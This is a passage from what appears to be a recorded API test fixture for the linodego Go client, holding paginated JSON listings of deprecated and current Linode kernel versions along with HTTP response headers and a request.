"4.8.6-x86-linode97", "version": "4.8.6", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.4-x86-linode96", "label": "4.8.4-x86-linode96", "version": "4.8.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.3-x86-linode95", "label": "4.8.3-x86-linode95", "version": "4.8.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.1-x86-linode94", "label": "4.8.1-x86-linode94", "version": "4.8.1", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.3-x86-linode92", "label": "4.7.3-x86-linode92", "version": "4.7.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.0-x86-linode90", "label": "4.7.0-x86-linode90", "version": "4.7.0", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.6.5-x86-linode89", "label": "4.6.5-x86-linode89", "version": "4.6.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.5-x86-linode88", "label": "4.5.5-x86-linode88", "version": "4.5.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.3-x86-linode86", "label": "4.5.3-x86-linode86", "version": "4.5.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.0-x86-linode84", "label": "4.5.0-x86-linode84", "version": "4.5.0", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.4-x86-linode83", "label": "4.4.4-x86-linode83", "version": "4.4.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.0-x86-linode82", "label": "4.4.0-x86-linode82", "version": "4.4.0", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.5-x86-linode80", "label": "4.1.5-x86-linode80", "version": "4.1.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.5-x86-linode79", "label": "4.1.5-x86-linode79", "version": "4.1.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.0-x86-linode78", "label": "4.1.0-x86-linode78", "version": "4.1.0", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.5-x86-linode77", "label": "4.0.5-x86-linode77", "version": "4.0.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.5-x86-linode76", "label": "4.0.5-x86-linode76", "version": "4.0.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.4-x86-linode75", "label": "4.0.4-x86-linode75", "version": "4.0.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.2-x86-linode74", "label": "4.0.2-x86-linode74", "version": "4.0.2", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0-x86-linode73", "label": "4.0.1-x86-linode73", "version": "4.0.1", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0-x86-linode72", "label": "4.0-x86-linode72", "version": "4.0", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.19.1-x86-linode71", "label": "3.19.1-x86-linode71", "version": "3.19.1", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.5-x86-linode70", "label": "3.18.5-x86-linode70", "version": "3.18.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.3-x86-linode69", "label": "3.18.3-x86-linode69", "version": "3.18.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.1-x86-linode68", "label": "3.18.1-x86-linode68", "version": "3.18.1", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.16.7-x86-linode67", "label": "3.16.7-x86-linode67", "version": "3.16.7", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.16.5-x86-linode65", "label": "3.16.5-x86-linode65", "version": "3.16.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.4-x86-linode64", "label": "3.15.4-x86-linode64", "version": "3.15.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.3-x86-linode63", "label": "3.15.3-x86-linode63", "version": "3.15.3", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.2-x86-linode62", "label": "3.15.2-x86-linode62", "version": "3.15.2", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.5-x86-linode61", "label": "3.14.5-x86-linode61", "version": "3.14.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.5-x86-linode60", "label": "3.14.5-x86-linode60", "version": "3.14.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.4-x86-linode59", "label": "3.14.4-x86-linode59", "version": "3.14.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.1-x86-linode58", "label": "3.14.1-x86-linode58", "version": "3.14.1", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.13.7-x86-linode57", "label": "3.13.7-x86-linode57", "version": "3.13.7", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.12.9-x86-linode56", "label": "3.12.9-x86-linode56", "version": "3.12.9", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.11.6-x86-linode54", "label": "3.11.6-x86-linode54", "version": "3.11.6", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.12.6-x86-linode55", "label": "3.12.6-x86-linode55", "version": "3.12.6", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.10.3-x86-linode53", "label": "3.10.3-x86-linode53", "version": "3.10.3", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.9.3-x86-linode52", "label": "3.9.3-x86-linode52", "version": "3.9.3", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.9.2-x86-linode51", "label": "3.9.2-x86-linode51", "version": "3.9.2", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.8.4-linode50", "label": "3.8.4-linode50", "version": "3.8.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.7.10-linode49", "label": "3.7.10-linode49", "version": "3.7.10", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.7.5-linode48", "label": "3.7.5-linode48", "version": "3.7.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.6.5-linode47", "label": "3.6.5-linode47", "version": "3.6.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.5.3-linode46", "label": "3.5.3-linode46", "version": "3.5.3", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.5.2-linode45", "label": "3.5.2-linode45", "version": "3.5.2", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.4.2-linode44", "label": "3.4.2-linode44", "version": "3.4.2", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.18-linode43", "label": "3.0.18-linode43", "version": "3.0.18", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.1.10-linode42", "label": "3.1.10-linode42", "version": "3.1.10", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.17-linode41", "label": "3.0.17-linode41", "version": "3.0.17", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.2.1-linode40", "label": "3.2.1-linode40", "version": "3.2.0", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.1.0-linode39", "label": "3.1.0-linode39", "version": "3.1.0", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.4-linode38", "label": "3.0.4-linode38", "version": "3.0.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.4-linode37", "label": "3.0.4-linode37", "version": "3.0.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.4-linode36", "label": "3.0.4-linode36", "version": "3.0.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0-linode35", "label": "3.0.0-linode35", "version": "3.0.0", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39.1-linode34", "label": "2.6.39.1-linode34", "version": "2.6.39", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39-linode33", "label": "2.6.39-linode33", "version": "2.6.39", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.38.3-linode32", "label": "2.6.38.3-linode32", "version": "2.6.38", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.38-linode31", "label": "2.6.38-linode31", "version": "2.6.38", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.37-linode30", "label": "2.6.37-linode30", "version": "2.6.37", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.35.7-linode29", "label": "2.6.35.7-linode29", "version": "2.6.35", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.16-linode28", "label": "2.6.32.16-linode28", "version": "2.6.32", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.34-linode27", "label": "2.6.34-linode27", "version": "2.6.34", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.12-linode25", "label": "2.6.32.12-linode25", "version": "2.6.33", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.33-linode24", "label": "2.6.33-linode24", "version": "2.6.33", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32-linode23", "label": "2.6.32-linode23", "version": "2.6.32", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode22", "label": "2.6.18.8-linode22", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.31.5-linode21", "label": "2.6.31.5-linode21", "version": "2.6.31", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.30.5-linode20", "label": "2.6.30.5-linode20", "version": "2.6.30", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.23.17-linode44", "label": "2.6.23.17-linode44", "version": "2.6.23", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode19", "label": "2.6.18.8-linode19", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.29-linode18", "label": "2.6.29-linode18", "version": "2.6.29", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.28.3-linode17", "label": "2.6.28.3-linode17", "version": "2.6.28", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode16", "label": "2.6.18.8-linode16", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.28-linode15", "label": "2.6.28-linode15", "version": "2.6.28", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.27.4-linode14", "label": "2.6.27.4-linode14", "version": "2.6.27", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.26-linode13", "label": "2.6.26-linode13", "version": "2.6.26", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.25.10-linode12", "label": "2.6.25.10-linode12", "version": "2.6.25", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode10", "label": "2.6.18.8-linode10", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.25-linode9", "label": "2.6.25-linode9", "version": "2.6.25", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.24.4-linode8", "label": "2.6.24.4-linode8", "version": "2.6.24", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-domU-linode7", "label": "2.6.18.8-domU-linode7", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": null}, {"id": "linode/latest-2.6-64bit", "label": "Latest 2.6 (2.6.39.1-x86_64-linode19)", "version": "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-64bit", "label": "Latest 64 bit (6.8.9-x86_64-linode164)", "version": "6.8.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode10", "label": "Latest Legacy (2.6.18.8-x86_64-linode10)", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}], "page": 2, "pages": 4, "results": 330}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 14:36:57 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels?page=3 method: GET response: body: '{"data": [{"id": "linode/5.7.6-x86_64-linode136", "label": "5.7.6-x86_64-linode136", "version": "5.7.6", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.14-x86_64-linode135", "label": "5.6.14-x86_64-linode135", "version": "5.6.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.1-x86_64-linode134", "label": "5.6.1-x86_64-linode134", "version": "5.6.1", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.4.10-x86_64-linode132", "label": "5.4.10-x86_64-linode132", "version": "5.4.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.11-x86_64-linode131", "label": "5.3.11-x86_64-linode131", "version": "5.3.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.7-x86_64-linode130", "label": "5.3.7-x86_64-linode130", "version": "5.3.7", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.2.9-x86_64-linode129", "label": "5.2.9-x86_64-linode129", "version": "5.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.17-x86_64-linode128", "label": "5.1.17-x86_64-linode128", "version": "5.1.17", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.11-x86_64-linode127", "label": "5.1.11-x86_64-linode127", "version": "5.1.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.5-x86_64-linode126", "label": "5.1.5-x86_64-linode126", "version": "5.1.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.120-x86_64-linode125", "label": "4.14.120-x86_64-linode125", "version": "4.14.120", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.2-x86_64-linode124", "label": "5.1.2-x86_64-linode124", "version": "5.1.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.0.8-x86_64-linode123", "label": "5.0.8-x86_64-linode123", "version": "5.0.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.0.1-x86_64-linode122", "label": "5.0.1-x86_64-linode122", "version": "5.0.1", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.20.4-x86_64-linode121", "label": "4.20.4-x86_64-linode121", "version": "4.20.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.8-x86_64-linode120", "label": "4.19.8-x86_64-linode120", "version": "4.19.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.5-x86_64-linode119", "label": "4.19.5-x86_64-linode119", "version": "4.19.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.16-x86_64-linode118", "label": "4.18.16-x86_64-linode118", "version": "4.18.16", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.8-x86_64-linode117", "label": "4.18.8-x86_64-linode117", "version": "4.18.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.17-x86_64-linode116", "label": "4.17.17-x86_64-linode116", "version": "4.17.17", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.15-x86_64-linode115", "label": "4.17.15-x86_64-linode115", "version": "4.17.15", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.14-x86_64-linode114", "label": "4.17.14-x86_64-linode114", "version": "4.17.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.14-x86_64-linode113", "label": "4.17.14-x86_64-linode113", "version": "4.17.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.12-x86_64-linode112", "label": "4.17.12-x86_64-linode112", "version": "4.17.12", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.11-x86_64-linode111", "label": "4.17.11-x86_64-linode111", "version": "4.17.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.8-x86_64-linode110", "label": "4.17.8-x86_64-linode110", "version": "4.17.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.2-x86_64-linode109", "label": "4.17.2-x86_64-linode109", "version": "4.17.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.16.11-x86_64-linode108", "label": "4.16.11-x86_64-linode108", "version": "4.16.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.18-x86_64-linode107", "label": "4.15.18-x86_64-linode107", "version": "4.15.18", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.13-x86_64-linode106", "label": "4.15.13-x86_64-linode106", "version": "4.15.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.12-x86_64-linode105", "label": "4.15.12-x86_64-linode105", "version": "4.15.12", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.10-x86_64-linode104", "label": "4.15.10-x86_64-linode104", "version": "4.15.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.8-x86_64-linode103", "label": "4.15.8-x86_64-linode103", "version": "4.15.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.7-x86_64-linode102", "label": "4.15.7-x86_64-linode102", "version": "4.15.7", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.19-x86_64-linode100", "label": "4.14.19-x86_64-linode100", "version": "4.14.19", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.17-x86_64-linode99", "label": "4.14.17-x86_64-linode99", "version": "4.14.17", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.80-x86_64-linode98", "label": "4.9.80-x86_64-linode98", "version": "4.9.80", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.115-x86_64-linode97", "label": "4.4.115-x86_64-linode97", "version": "4.4.115", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.113-x86_64-linode96", "label": "4.4.113-x86_64-linode96", "version": "4.4.113", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.78-x86_64-linode95", "label": "4.9.78-x86_64-linode95", "version": "4.9.78", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.14-x86_64-linode94", "label": "4.14.14-x86_64-linode94", "version": "4.14.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.14-x86_64-linode93", "label": "4.14.14-x86_64-linode93", "version": "4.14.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.64-x86_64-linode88", "label": "4.9.64-x86_64-linode88", "version": "4.9.64", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.68-x86_64-linode89", "label": "4.9.68-x86_64-linode89", "version": "4.9.68", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.12-x86_64-linode92", "label": "4.14.12-x86_64-linode92", "version": "4.14.12", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.11-x86_64-linode91", "label": "4.14.11-x86_64-linode91", "version": "4.14.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.56-x86_64-linode87", "label": "4.9.56-x86_64-linode87", "version": "4.9.56", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.50-x86_64-linode86", "label": "4.9.50-x86_64-linode86", "version": "4.9.50", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.36-x86_64-linode85", "label": "4.9.36-x86_64-linode85", "version": "4.9.36", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.33-x86_64-linode83", "label": "4.9.33-x86_64-linode83", "version": "4.9.33", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.15-x86_64-linode81", "label": "4.9.15-x86_64-linode81", "version": "4.9.15", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.7-x86_64-linode80", "label": "4.9.7-x86_64-linode80", "version": "4.9.7", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.0-x86_64-linode79", "label": "4.9.0-x86_64-linode79", "version": "4.9.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.6-x86_64-linode78", "label": "4.8.6-x86_64-linode78", "version": "4.8.6", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.4-x86_64-linode77", "label": "4.8.4-x86_64-linode77", "version": "4.8.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.3-x86_64-linode76", "label": "4.8.3-x86_64-linode76", "version": "4.8.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.1-x86_64-linode75", "label": "4.8.1-x86_64-linode75", "version": "4.8.1", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.3-x86_64-linode73", "label": "4.7.3-x86_64-linode73", "version": "4.7.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.0-x86_64-linode72", "label": "4.7.0-x86_64-linode72", "version": "4.7.0", "kvm": 